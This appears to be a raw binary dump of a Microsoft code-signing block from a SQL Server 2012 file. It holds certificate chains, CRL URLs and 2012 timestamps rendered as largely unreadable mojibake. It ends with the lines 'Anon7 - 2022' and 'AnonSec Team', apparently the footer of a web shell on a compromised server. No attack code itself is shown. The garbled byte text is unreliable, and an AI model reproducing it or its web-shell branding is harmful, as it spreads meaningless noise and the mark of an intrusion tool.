cG9Sky8!n=8s,<[LJǹP&SzuG+g,d`J^Vi7:*]ȿɫ?-xy9d#xv'ItUUI|pEa~qA2R$6Po<Iv@ee~Q:WkK7X
Ů߁GRZJq#0``$Ub)K
vCI SZDQz9	00UaMg+uYX:0U#0#4RFp
@v+50TUM0K0IGEChttp://crl.microsoft.com/pki/crl/products/MicrosoftTimeStampPCA.crl0X+L0J0H+0<http://www.microsoft.com/pki/certs/MicrosoftTimeStampPCA.crt0U%0
+0
	*H
Q6܀ƙȐi2dҊb)y`]-5D\aAPjyjbMQPԿGNuR?j.@r?pY]탙!'qIo<	NՍf17_{i>E%DJOFl
|zRkx\+x}ٶp}[sSfPK;Je%XP Ty:\jW(1ǟG'te?00
a3&10
	*H
0_10
	&,dcom10
	&,d	microsoft1-0+U$Microsoft Root Certificate Authority0
100831221932Z
200831222932Z0y10	UUS10U
Washington10URedmond10U
Microsoft Corporation1#0!UMicrosoft Code Signing PCA0"0
	*H
0
rY\0d`  BvSl>ok:t/2BN#r5W
ʮ IhMKyKqG%ߝuϪsDׁ6\Eܯ=(hrsV5rv_wE8s[gRi/t)v/T0Yҍb_F1P'@0r)("7N=2=͡8\NV(*2KOc-bE=F[&SzJF7<8w\V<	_^0Z0U00UҴX7.3L
0U0	+70#	+71N&`;1o<-0	+7
SubCA0U#0`@V'%*
SY0PUI0G0ECA?http://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl0T+H0F0D+08http://www.microsoft.com/pki/certs/MicrosoftRootCert.crt0
	*H
Y9>&Fo@2j/nI_uL;-C-1#|P!]=/LVpyIr>Ai˥ -PV-JҼp
VชKWB4<VS#*NNҏr*qmSg"\͢'ycVDQXVݛED/_ڮԂ2ni穢,+e&	e8zJVx\5_ݓI-4D]5[!Θ	OmN=|)HrlpWW}HZϣg
t6-/r7o<gR3edoFy,
'@F`Ge`@NBNvy
4	m1TGdP.|!zA'iÓɍ؛!
\𢮆hj-vk{$jG1/q=~bGΈɸr=@ji7P=00
ah40
	*H
0_10
	&,dcom10
	&,d	microsoft1-0+U$Microsoft Root Certificate Authority0
070403125309Z
210403130309Z0w10	UUS10U
Washington10URedmond10U
Microsoft Corporation1!0UMicrosoft Time-Stamp PCA0"0
	*H
0
lH*|k.řQ#PN$ѧLt0 TIB\0&k{3$g,{N#SʍE	^аBlg(FS(F.'OUR,j0nY0~֗!~SmREHJGf')fJG	UxP0F#F-TxA1w̛;a
"KT 00U00U#4RFp
@v+50U0	+70U#0`@V'%*
SY䤡ca0_10
	&,dcom10
	&,d	microsoft1-0+U$Microsoft Root Certificate AuthorityyJLsX.e0PUI0G0ECA?http://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl0T+H0F0D+08http://www.microsoft.com/pki/certs/MicrosoftRootCert.crt0U%0
+0
	*H
\D6鴭wyQM.tq[mξ{.mbWN Pz@WXx;⾏
ȍHSOjՀ/*$"px.
pNk
r9g-Qb\? ?21Jv1=+rp=

a׸N5+^}B{Sr!0ʻxe\[
<fX-/QVpl9Lyzb))4wb=m,C}㤨t5Nq#&v<RqZFCMgȟBy!0fB^Ȟ"!C+H,2L&*H$_ZVޙ:o'tv!'Tj=vanGo2lQȌ#fd=-Y!嵰cxTA.Pxuْu"/2n[%!OɚIeo}in꧗1)[\M/?.Uk1(<0(800y10	UUS10U
Washington10URedmond10U
Microsoft Corporation1#0!UMicrosoft Code Signing PCA3'80	+0	*H
	1
+70
+710
+70#	*H
	1:5KDP[D-U0R
+71D0B SQL Server 2012http://www.microsoft.com/sql0
	*H
QXQ=wOVKr)cn]A
~2z$i7gDePyDOqSw>$Nx+I'LEiJ?u1_Ys-m
<Qa=[s%?mZ<@Nme6#ho/a6.<:8ŻXxp:4<ԥx`k8Ip,<WcrKqE%0	*H
	1000w10	UUS10U
Washington10URedmond10U
Microsoft Corporation1!0UMicrosoft Time-Stamp PCA
aJ 0	+]0	*H
	1	*H
0	*H
	1
121020071953Z0#	*H
	1O&ȫ5,zZVR0
	*H
Lmlw8Py^LĢ5&yx%wmCI#6bQأ&1gβ1M$8;luSX8o?7I"t1j^	Z2=Dp;4 ).P^~?$mto<rk#A<mp׬*'Mvrc
J%QB6]Tw).0#
+71#0#	*H
#0#10
	`He0\
+7N0L0
+70	010
	`He :o킅uy8Z' JH~G:v
?003y
%XE0
	*H
0~10	UUS10U
Washington10URedmond10U
Microsoft Corporation1(0&UMicrosoft Code Signing PCA 20110
120707001432Z
131007001432Z010	UUS10U
Washington10URedmond10U
Microsoft Corporation1
0UMOPR10UMicrosoft Corporation0"0
	*H
0
Qs/ΰ=X?,˹]::HlT~ܸ*
m;Y%N`t۴UO?;A|GKaI aD<o`N3QPٲ>Fvͫr9q'ٟCT!cnHzܝP䶃"G*D>8.0+Asp)&9L/*Z6>)P@2'c:Ӝr5Ex(kdtE@o\-,0(0U%0+
+7L0Ua??P.Cqc\BF0U#0HndPӂ77"mu0TUM0K0IGEChttp://www.microsoft.com/pkiops/crl/MicCodSigPCA2011_2011-07-08.crl0a+U0S0Q+0Ehttp://www.microsoft.com/pkiops/certs/MicCodSigPCA2011_2011-07-08.crt0U00
	*H
Ck]dRoP(tqO'CMf`a;W~/=E3]v`yN^|#qzA"L̊WC֮3=f;vdbWC;GujHN2
Lf÷>LH92
x[+07wo\CR,Gasrc3aI_,5O}k>YڞְHa뀱F5i?r~#Cܶ	zե:ւMxK<J
DK݀/d=ͱJ&4p|
LL+E^s{B.>[
4RNq㑹sy
64,I`0 &d<BQp9JDr^B,,}ߍ^Dεblz0(@X^W/rWY4Jj`RA'MPW+`0z0b
a0
	*H
010	UUS10U
Washington10URedmond10U
Microsoft Corporation1200U)Microsoft Root Certificate Authority 20110
110708205909Z
260708210909Z0~10	UUS10U
Washington10URedmond10U
Microsoft Corporation1(0&UMicrosoft Code Signing PCA 20110"0
	*H
0
r.nM4X!B*kZP8I7k8™91BӉ
yd~`$lIh^ߛS
,ï٩+z	זY`fv2R&/PϳD].uhm:\F8dnd5xc-@
\yI)
w=+ZMV(zr:I^C{{>]O/Y;-3Xŷ>2ӳ=8~ҝ,NV!5%9ndS#_R!t%_('(8%9J6|#faj(I_%]!K>RĵW?$z[/#p]QFwἬ_UK9#ID|Erzr$߿FWۃMI0[ݰf{KI)(}gbx_/W\w((m(,@7OD	LԥC/tnx X,]`>O3ڰޞNFlֈ00	+70UHndPӂ77"mu0	+7
SubCA0U0U00U#0r-:1CN1#40ZUS0Q0OMKIhttp://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl0^+R0P0N+0Bhttp://www.microsoft.com/pki/certs/MicRooCerAut2011_2011_03_22.crt0U 00	+7.00?+3http://www.microsoft.com/pkiops/docs/primarycps.htm0@+042 Legal_policy_statement. 0
	*H
g򆥘Ty.tg"cB}ye_.,>rm?
;Gic"5]e}FPU|K<BRаk>.)=Եw9dD=xz#}t&F*Šhh.*?*kXIc	inZF+;н5n%'(M=2-[I9

ƭQEX82q'',: iYhnot@*(>?MfMo}Ev@*e]Rbc6'ͥ]cA[>wuaaA(e/\֡FY	KH)ű?Ew5Ңzz"HG#kKux7yKֳ#hui;0Lumc=ѝVNOW"x2!zA
?̤]WqVNHEBɛv[
HkymmjRs
zP1000~10	UUS10U
Washington10URedmond10U
Microsoft Corporation1(0&UMicrosoft Code Signing PCA 20113y
%XE0
	`He0
*H
	10	*H
	1
+70
+710
+70/	*H
	1" /JQ1O:<V1"hv=0R
+71D0B SQL Server 2012http://www.microsoft.com/sql0
	*H
'=B`j'I?Q`#)W41GxXD^z|I>`Q_=C2*f<('+1״B2*UNr32Cqa]L6@L81)\S4a"8t+W`S&"14Ĵ{DBvC*gIx(
0q'imfɜKT׺ׯ<Wznl/0+
+710	*H
010
	`He0=*H
	,(0$
+Y
010
	`He I97<&^Qw,eymXPda<y20121020071955.995Z0010	UUS10U
Washington10URedmond10U
Microsoft Corporation1
0UMOPR1'0%UnCipher DSE ESN:C0F4-3086-DEF81%0#UMicrosoft Time-Stamp Service0q0Y
a	*0
	*H
010	UUS10U
Washington10URedmond10U
Microsoft Corporation1200U)Microsoft Root Certificate Authority 20100
100701213655Z
250701214655Z0|10	UUS10U
Washington10URedmond10U
Microsoft Corporation1&0$UMicrosoft Time-Stamp PCA 20100"0
	*H
0

w: iktTե
|hK,_av>f+[S'1A	|a0Y0D`TCM8Bݓs0W&E
GͿ$`2X`FXG2tag_TϓLĦ]an(aF'$gr!KdPb]w=WuBM@Q>gfD~Knʱz*
1N5x</Dd 	xD]^O"M00	+70Uc:\1C{|F3hZmU0	+7
SubCA0U0U00U#0Vˏ\bh=[Κ0VUO0M0KIGEhttp://crl.microsoft.com/pki/crl/products/MicRooCerAut_2010-06-23.crl0Z+N0L0J+0>http://www.microsoft.com/pki/certs/MicRooCerAut_2010-06-23.crt0U 00	+7.00=+1http://www.microsoft.com/PKI/docs/CPS/default.htm0@+042 Legal_Policy_Statement. 0
	*H
Q
?q=!o1Wm0fjxǨ%kTW+QDS`v@@A\\^5$VKtBȯ7}Z?yJR8/ye٩kzoK0D$"<Y)p2J'U/3b_W@ΙfjbJ&9Jqc{!mÜ<}jxm8ؔƥ
B"8 %d~cY%z.9Wvqa˚Gͧ};q	]t"aڰPo1:eGxHr~akow˧	9؂r*T9[
Uzs;-3.)/T'!ȬN(ۖBAM*f0ӻt2Kc{/!YD<PqסUiW0M
]O8/X.
P5	'ճ~56_tI00
a 0
	*H
0|10	UUS10U
Washington10URedmond10U
Microsoft Corporation1&0$UMicrosoft Time-Stamp PCA 20100
120220222922Z
130520223922Z010	UUS10U
Washington10URedmond10U
Microsoft Corporation1
0UMOPR1'0%UnCipher DSE ESN:C0F4-3086-DEF81%0#UMicrosoft Time-Stamp Service0"0
	*H
0
7cEb7H[yyxe϶n)>) IHV?mv\7WyL'}*L|J:SzU\m @eE$
Cp`GY>K!gc":%Tz6SjV"D.QEHh2t^EF
+NIA2`<<9
pمB9jm
-ک'ۈ+.*1IG|ƥ_[4k9y9h{\dLߺ_00Uٚu<`0U#0c:\1C{|F3hZmU0VUO0M0KIGEhttp://crl.microsoft.com/pki/crl/products/MicTimStaPCA_2010-07-01.crl0Z+N0L0J+0>http://www.microsoft.com/pki/certs/MicTimStaPCA_2010-07-01.crt0U00U%0
+0
	*H
n 
A(kNѡh<5ȵBC(/dy}hP9lc9hJBV܍ǯGFo>P^woT&LG^6b.wtlhz_V#:%zoMBirZ<AD7zMԾ3;}NCmstlmax߹7pEr?U @I]i;0oPnpqkv(9V}v0^0㡁010	UUS10U
Washington10URedmond10U
Microsoft Corporation1
0UMOPR1'0%UnCipher DSE ESN:C0F4-3086-DEF81%0#UMicrosoft Time-Stamp Service%
0	+]Rdv]kdܠ0010	UUS10U
Washington10URedmond10U
Microsoft Corporation1
0UMOPR1'0%UnCipher NTS ESN:B027-C6F8-1D881+0)U"Microsoft Time Source Master Clock0
	*H
,b:0"20121019233522Z20121020233522Z0t0:
+Y
1,0*0
,b:000
-06
+Y
1(0&0
+Y

0`
0 0
	*H
v="Ԣd+4'r2ZXwǵ>OBahƺs"6τt=jzzLK,< SBQ
{]a6!!¹INWs7"Vʅ-1GV'|x{	b_栉|O6s8_58* i	n(SRҸQx=ܣZGsYI&(̤@eTރI٥@6Kv1000|10	UUS10U
Washington10URedmond10U
Microsoft Corporation1&0$UMicrosoft Time-Stamp PCA 2010
a 0
	`He)0	*H
	1
*H
	0/	*H
	1" ?
K8ʳ㣎xgg?YR0*H
	1000]Rdv]kd00~0|10	UUS10U
Washington10URedmond10U
Microsoft Corporation1&0$UMicrosoft Time-Stamp PCA 2010
a 0議W^	1#ޤ0
	*H
k6[?)l͚*<(mnM#*m#^Rg~m	Ĵ,%=a
;1t^ʇ
$CK͇ilGz}Vq1O'Z_='|%iQVd&oa>LL[qgȓ@V(D<:W5KxOz&a𾢨`w#$ĺ=&AL5
Q7Z
ww_4\5R

Anon7 - 2022
AnonSec Team